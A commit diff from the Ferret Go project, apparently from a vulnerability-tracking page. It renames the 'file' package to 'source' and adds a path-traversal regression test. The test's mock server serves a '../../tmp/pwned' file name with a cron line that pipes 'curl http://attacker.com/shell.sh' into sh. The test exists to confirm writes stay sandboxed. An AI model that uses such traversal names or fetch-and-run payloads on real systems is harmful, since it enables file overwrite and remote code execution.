    @@ -514,15 +515,15 @@ func processFiles(ctx context.Context, files []string, op string, predicate func
     
     		log.Debug().Msg("path points to a file. starting to read content")
     
    -		src, err := file.Read(path)
    +		src, err := source.Read(path)
     
     		if err != nil {
     			log.Debug().Err(err).Msg("failed to read content")
     
     			errList = append(errList, &diagnostics.Diagnostic{
     				Kind:    diagnostics.UnexpectedError,
     				Message: "failed to read content",
    -				Source:  file.NewSource("stdin", path),
    +				Source:  source.New("stdin", path),
     				Cause:   err,
     			})
     
    @@ -592,7 +593,7 @@ func printResult(_ context.Context, res *ferret.Output) (uint64, error) {
     	return printer.size, err
     }
     
    -func analyzeQuery(query *file.Source) error {
    +func analyzeQuery(query *source.Source) error {
     	beforeCompilation := "Before Compilation"
     	compilation := "Compilation"
     	afterCompilation := "After Compilation"
    
  • test/e2e/pages/dynamic/components/pages/events/pressable.js+0 2 modified
    @@ -1,5 +1,3 @@
    -import random from "../../../utils/random.js";
    -
     const e = React.createElement;
     
     export default class PressableComponent extends React.PureComponent {
    
  • test/e2e/pages/dynamic/components/pages/iframes/index.js+1 1 modified
    @@ -1,4 +1,4 @@
    -import { parse } from '../../../utils/qs.js';
    +import {parse} from '../../../utils/qs.js';
     
     const e = React.createElement;
     
    
  • test/e2e/pages/dynamic/index.js+1 1 modified
    @@ -1,5 +1,5 @@
     import AppComponent from "./components/app.js";
    -import { parse } from "./utils/qs.js";
    +import {parse} from "./utils/qs.js";
     
     const qs = parse(location.search);
     
    
  • test/integration/compiler/compiler_test.go+12 12 modified
    @@ -10,13 +10,13 @@ import (
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestCompiler_Consts(t *testing.T) {
     	c := compiler.New()
     
    -	p, err := c.Compile(file.NewAnonymousSource(`VAR str = ""
    +	p, err := c.Compile(source.NewAnonymous(`VAR str = ""
     
     str += " " + 1 + " " + 2 + " " + 3 + " " + 4 + " " + 5
     
    @@ -49,9 +49,9 @@ func TestCompilerCompileConcurrentSharedCompiler(t *testing.T) {
     	}
     
     	t.Run("shared_sources", func(t *testing.T) {
    -		sources := make([]*file.Source, 0, len(validQueries))
    +		sources := make([]*source.Source, 0, len(validQueries))
     		for i, query := range validQueries {
    -			sources = append(sources, file.NewSource(fmt.Sprintf("shared_%d", i), query))
    +			sources = append(sources, source.New(fmt.Sprintf("shared_%d", i), query))
     		}
     
     		runConcurrentCompileWorkers(t, workers, iterations, func(worker, iter int) error {
    @@ -69,14 +69,14 @@ func TestCompilerCompileConcurrentSharedCompiler(t *testing.T) {
     	t.Run("fresh_sources", func(t *testing.T) {
     		runConcurrentCompileWorkers(t, workers, iterations, func(worker, iter int) error {
     			query := validQueries[(worker+iter)%len(validQueries)]
    -			source := file.NewSource(fmt.Sprintf("fresh_%d_%d", worker, iter), query)
    +			src := source.New(fmt.Sprintf("fresh_%d_%d", worker, iter), query)
     
    -			program, err := compilerInstance.Compile(source)
    +			program, err := compilerInstance.Compile(src)
     			if err != nil {
     				return fmt.Errorf("compile failed: %w", err)
     			}
     
    -			return assertCompiledProgram(program, source)
    +			return assertCompiledProgram(program, src)
     		})
     	})
     
    @@ -119,7 +119,7 @@ RETURN wrap()
     
     	t.Run("udf_isolation_shared_sources", func(t *testing.T) {
     		type sharedSourceCase struct {
    -			source *file.Source
    +			source *source.Source
     			spec   struct {
     				expectedHost map[string]int
     				expectedUDFs int
    @@ -130,7 +130,7 @@ RETURN wrap()
     
     		for i, query := range udfQueries {
     			item := sharedSourceCase{
    -				source: file.NewSource(fmt.Sprintf("udf_shared_%d", i), query.query),
    +				source: source.New(fmt.Sprintf("udf_shared_%d", i), query.query),
     			}
     
     			item.spec.expectedHost = query.expectedHost
    @@ -157,7 +157,7 @@ RETURN wrap()
     	t.Run("udf_isolation_fresh_sources", func(t *testing.T) {
     		runConcurrentCompileWorkers(t, workers, iterations, func(worker, iter int) error {
     			query := udfQueries[(worker+iter)%len(udfQueries)]
    -			source := file.NewSource(fmt.Sprintf("udf_fresh_%d_%d", worker, iter), query.query)
    +			source := source.New(fmt.Sprintf("udf_fresh_%d_%d", worker, iter), query.query)
     
     			program, err := compilerInstance.Compile(source)
     			if err != nil {
    @@ -190,7 +190,7 @@ func TestCompilerCompileConcurrentInvalidQueries(t *testing.T) {
     	t.Run("invalid_sources", func(t *testing.T) {
     		runConcurrentCompileWorkers(t, workers, iterations, func(worker, iter int) error {
     			query := invalidQueries[(worker+iter)%len(invalidQueries)]
    -			source := file.NewSource(fmt.Sprintf("invalid_%d_%d", worker, iter), query)
    +			source := source.New(fmt.Sprintf("invalid_%d_%d", worker, iter), query)
     
     			program, err := compilerInstance.Compile(source)
     			if err == nil {
    @@ -254,7 +254,7 @@ func maxInt(a, b int) int {
     	return b
     }
     
    -func assertCompiledProgram(program *bytecode.Program, source *file.Source) error {
    +func assertCompiledProgram(program *bytecode.Program, source *source.Source) error {
     	if program == nil {
     		return fmt.Errorf("program is nil")
     	}
    
  • test/integration/compiler/compiler_var_test.go+2 2 modified
    @@ -6,8 +6,8 @@ import (
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	parserd "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     	"github.com/MontFerret/ferret/v2/test/spec"
     	. "github.com/MontFerret/ferret/v2/test/spec/compile"
     	"github.com/MontFerret/ferret/v2/test/spec/compile/inspect"
    @@ -80,7 +80,7 @@ func TestVarSyntaxErrors(t *testing.T) {
     func TestVarCompoundAssignmentMissingValueDiagnosticSpan(t *testing.T) {
     	src := "VAR x = 0\nx +=\nRETURN x"
     
    -	_, err := compiler.New(compiler.WithOptimizationLevel(compiler.O0)).Compile(file.NewSource("var_compound_span", src))
    +	_, err := compiler.New(compiler.WithOptimizationLevel(compiler.O0)).Compile(source.New("var_compound_span", src))
     	if err == nil {
     		t.Fatal("expected compilation error")
     	}
    
  • test/integration/compiler/helpers_test.go+2 2 modified
    @@ -6,14 +6,14 @@ import (
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func compileWithLevel(t *testing.T, level compiler.OptimizationLevel, expr string) *bytecode.Program {
     	t.Helper()
     
     	c := compiler.New(compiler.WithOptimizationLevel(level))
    -	prog, err := c.Compile(file.NewAnonymousSource(expr))
    +	prog, err := c.Compile(source.NewAnonymous(expr))
     	if err != nil {
     		t.Fatalf("compile failed: %v", err)
     	}
    
  • test/integration/vm/vm_member_test.go+2 2 modified
    @@ -8,8 +8,8 @@ import (
     	"strings"
     	"testing"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/sdk"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     	"github.com/MontFerret/ferret/v2/pkg/stdlib"
     
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
    @@ -189,7 +189,7 @@ func TestMemberReservedWords(t *testing.T) {
     			expected.WriteString(strconv.Itoa(idx))
     			expected.WriteString("}")
     
    -			prog, err := c.Compile(file.NewAnonymousSource(query.String()))
    +			prog, err := c.Compile(source.NewAnonymous(query.String()))
     			if err != nil {
     				t.Fatalf("compile failed: %v", err)
     			}
    
  • test/integration/vm/vm_op_regex_test.go+3 3 modified
    @@ -6,8 +6,8 @@ import (
     	"testing"
     
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     	"github.com/MontFerret/ferret/v2/pkg/vm"
     	"github.com/MontFerret/ferret/v2/test/spec"
     	. "github.com/MontFerret/ferret/v2/test/spec/exec"
    @@ -32,7 +32,7 @@ func TestRegexpOperator(t *testing.T) {
     
     	t.Run("Should return an error during compilation when a regexp string invalid", func(t *testing.T) {
     		_, err := compiler.New(compiler.WithOptimizationLevel(compiler.O0)).
    -			Compile(file.NewAnonymousSource(`
    +			Compile(source.NewAnonymous(`
     			RETURN "foo" !~ "[ ]\K(?<!\d )(?=(?: ?\d){8})(?!(?: ?\d){9})\d[ \d]+\d" 
     		`))
     
    @@ -55,7 +55,7 @@ func TestRegexpOperator(t *testing.T) {
     
     			t.Run(r, func(t *testing.T) {
     				_, err := compiler.New(compiler.WithOptimizationLevel(compiler.O0)).
    -					Compile(file.NewAnonymousSource(fmt.Sprintf(`
    +					Compile(source.NewAnonymous(fmt.Sprintf(`
     			RETURN "foo" !~ %s 
     		`, r)))
     
    
  • test/integration/vm/vm_op_ternary_test.go+2 3 modified
    @@ -5,8 +5,7 @@ import (
     	"testing"
     
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    -
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     	spec "github.com/MontFerret/ferret/v2/test/spec"
     	. "github.com/MontFerret/ferret/v2/test/spec/exec"
     )
    @@ -39,7 +38,7 @@ func TestTernaryOperator(t *testing.T) {
     			val := val
     
     			t.Run(val, func(t *testing.T) {
    -				p, err := c.Compile(file.NewAnonymousSource(fmt.Sprintf(`
    +				p, err := c.Compile(source.NewAnonymous(fmt.Sprintf(`
     			FOR i IN [%s, 1, 2, 3]
     				RETURN i ? i * 2 : 'no value'
     		`, val)))
    
  • test/integration/vm/vm_op_unary_test.go+3 3 modified
    @@ -6,7 +6,7 @@ import (
     
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
     	encodingjson "github.com/MontFerret/ferret/v2/pkg/encoding/json"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     	"github.com/MontFerret/ferret/v2/pkg/vm"
     	"github.com/MontFerret/ferret/v2/test/spec"
     	. "github.com/MontFerret/ferret/v2/test/spec/exec"
    @@ -32,7 +32,7 @@ func TestUnaryOperators(t *testing.T) {
     	t.Run("RETURN { enabled: !val }", func(t *testing.T) {
     		c := compiler.New(compiler.WithOptimizationLevel(compiler.O0))
     
    -		p1, err := c.Compile(file.NewAnonymousSource(`
    +		p1, err := c.Compile(source.NewAnonymous(`
     			LET val = ""
     			RETURN { enabled: !val }
     		`))
    @@ -62,7 +62,7 @@ func TestUnaryOperators(t *testing.T) {
     			t.Fatalf("unexpected single negation output: got %s", string(out1))
     		}
     
    -		p2, err := c.Compile(file.NewAnonymousSource(`
    +		p2, err := c.Compile(source.NewAnonymous(`
     			LET val = ""
     			RETURN { enabled: !!val }
     		`))
    
  • test/security/path_traversal_test.go+140 0 added
    @@ -0,0 +1,140 @@
    +package security
    +
    +import (
    +	"context"
    +	"errors"
    +	"fmt"
    +	"net"
    +	"net/http"
    +	"os"
    +	"path/filepath"
    +	"strings"
    +	"testing"
    +	"time"
    +
    +	"github.com/MontFerret/ferret/v2"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +	"github.com/goccy/go-json"
    +)
    +
    +func TestPathTraversalVulnerability(t *testing.T) {
    +	type Article struct {
    +		Name    string `json:"name"`
    +		Content string `json:"content"`
    +	}
    +
    +	root := t.TempDir()
    +	safeDir := filepath.Join(root, "safe", "ferret_output")
    +	escapedPath := filepath.Join(root, "tmp", "pwned.txt")
    +	escapedParent := filepath.Dir(escapedPath)
    +
    +	if err := os.MkdirAll(safeDir, 0o755); err != nil {
    +		t.Fatal(err)
    +	}
    +
    +	if err := os.MkdirAll(escapedParent, 0o755); err != nil {
    +		t.Fatal(err)
    +	}
    +
    +	engine, err := ferret.New(ferret.WithFSRoot(safeDir))
    +	if err != nil {
    +		t.Fatal(err)
    +	}
    +
    +	startServer := func(ctx context.Context, ln net.Listener) error {
    +		mux := http.NewServeMux()
    +
    +		mux.HandleFunc("/api/articles", func(w http.ResponseWriter, r *http.Request) {
    +			if r.Method != http.MethodGet {
    +				http.NotFound(w, r)
    +				return
    +			}
    +
    +			payload := []Article{
    +				{
    +					Name:    "legit-article",
    +					Content: "This is a normal article.",
    +				},
    +				{
    +					Name:    "../../tmp/pwned",
    +					Content: "ATTACKER_CONTROLLED_CONTENT\n# * * * * * root curl http://attacker.com/shell.sh | sh\n",
    +				},
    +			}
    +
    +			w.Header().Set("Content-Type", "application/json")
    +			w.WriteHeader(http.StatusOK)
    +
    +			if err := json.NewEncoder(w).Encode(payload); err != nil {
    +				http.Error(w, err.Error(), http.StatusInternalServerError)
    +			}
    +		})
    +
    +		mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
    +			http.NotFound(w, r)
    +		})
    +
    +		srv := &http.Server{Handler: mux}
    +
    +		go func() {
    +			<-ctx.Done()
    +
    +			shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    +			defer cancel()
    +
    +			_ = srv.Shutdown(shutdownCtx)
    +		}()
    +
    +		err := srv.Serve(ln)
    +		if errors.Is(err, http.ErrServerClosed) {
    +			return nil
    +		}
    +		return err
    +	}
    +
    +	serverCtx, cancelServer := context.WithCancel(context.Background())
    +	defer cancelServer()
    +
    +	ln, err := net.Listen("tcp", "127.0.0.1:0")
    +	if err != nil {
    +		t.Fatal(err)
    +	}
    +
    +	serverErrCh := make(chan error, 1)
    +	go func() {
    +		serverErrCh <- startServer(serverCtx, ln)
    +	}()
    +
    +	baseURL := "http://" + ln.Addr().String()
    +
    +	_, err = engine.Run(context.Background(), source.NewAnonymous(fmt.Sprintf(`
    +LET response = IO::NET::HTTP::GET({url: "%s/api/articles"})
    +LET articles = JSON_PARSE(TO_STRING(response))
    +
    +FOR article IN articles
    +    LET path = "%s/" + article.name + ".txt"
    +    LET data = TO_BINARY(article.content)
    +    IO::FS::WRITE(path, data)
    +    RETURN { written: path, name: article.name }
    +`, baseURL, safeDir)))
    +
    +	if err != nil && !strings.Contains(err.Error(), "path escapes from parent") {
    +		t.Fatal(err)
    +	}
    +
    +	_, err = os.Stat(escapedPath)
    +
    +	if err == nil {
    +		t.Fatalf("path traversal vulnerability: write escaped intended directory and created %q", escapedPath)
    +	}
    +
    +	cancelServer()
    +
    +	select {
    +	case err := <-serverErrCh:
    +		if err != nil {
    +			t.Fatalf("server failed: %v", err)
    +		}
    +	case <-time.After(5 * time.Second):
    +		t.Fatal("server did not shut down in time")
    +	}
    +}
    
  • test/spec/bench_runner.go+2 2 modified
    @@ -6,15 +6,15 @@ import (
     
     	"github.com/MontFerret/ferret/v2/pkg/asm"
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     	"github.com/MontFerret/ferret/v2/pkg/vm/test"
     
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
     	"github.com/MontFerret/ferret/v2/pkg/vm"
     )
     
     func compileBenchmarkProgram(c *compiler.Compiler, expression string) *bytecode.Program {
    -	prog, err := c.Compile(file.NewSource("benchmark", expression))
    +	prog, err := c.Compile(source.New("benchmark", expression))
     
     	if err != nil {
     		panic(err)
    
  • test/spec/exec.go+3 4 modified
    @@ -6,13 +6,12 @@ import (
     	"errors"
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
    +	"github.com/MontFerret/ferret/v2/pkg/compiler"
     	ferretencoding "github.com/MontFerret/ferret/v2/pkg/encoding"
     	encodingjson "github.com/MontFerret/ferret/v2/pkg/encoding/json"
     	encodingmsgpack "github.com/MontFerret/ferret/v2/pkg/encoding/msgpack"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    -
    -	"github.com/MontFerret/ferret/v2/pkg/compiler"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     	"github.com/MontFerret/ferret/v2/pkg/vm"
     )
     
    @@ -29,7 +28,7 @@ func Compile(expression string, level ...compiler.OptimizationLevel) (*bytecode.
     
     	c := compiler.New(compiler.WithOptimizationLevel(oplevel))
     
    -	return c.Compile(file.NewSource("", expression))
    +	return c.Compile(source.New("", expression))
     }
     
     func newTestContext() context.Context {
    
  • test/spec/format/runner.go+2 2 modified
    @@ -5,8 +5,8 @@ import (
     	"testing"
     
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/formatter"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     	"github.com/MontFerret/ferret/v2/test/spec"
     )
     
    @@ -29,7 +29,7 @@ func (r *Runner) Run(t *testing.T, specs []Spec) {
     			var out strings.Builder
     			exp := s.Base.Input.Expression
     
    -			err := r.Formatter.Format(&out, file.NewSource("Test case", exp))
    +			err := r.Formatter.Format(&out, source.New("Test case", exp))
     
     			if err != nil {
     				if s.Base.DebugOutput {
    
  • test/spec/input.go+2 2 modified
    @@ -3,7 +3,7 @@ package spec
     import (
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     type (
    @@ -84,5 +84,5 @@ func (i Input) ResolveProgram(name string, c *compiler.Compiler) (*bytecode.Prog
     		return i.Source.Build(name, c)
     	}
     
    -	return c.Compile(file.NewSource(name, i.Expression))
    +	return c.Compile(source.New(name, i.Expression))
     }
    
  • types.go+3 3 modified
    @@ -2,11 +2,11 @@ package ferret
     
     import (
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/logging"
     )
     
     var (
    -	ParseLogLevel     = runtime.ParseLogLevel
    -	MustParseLogLevel = runtime.MustParseLogLevel
    +	ParseLogLevel     = logging.ParseLogLevel
    +	MustParseLogLevel = logging.MustParseLogLevel
     	FormatError       = diagnostics.Format
     )
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.